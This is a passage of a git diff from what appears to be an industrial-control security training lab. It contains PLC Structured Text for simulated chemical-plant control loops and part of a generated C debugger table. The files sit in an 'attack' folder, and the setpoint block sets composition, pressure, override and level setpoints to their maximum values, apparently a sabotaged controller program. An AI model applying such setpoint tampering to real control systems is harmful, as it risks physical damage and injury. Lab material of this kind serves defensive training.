+ END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), 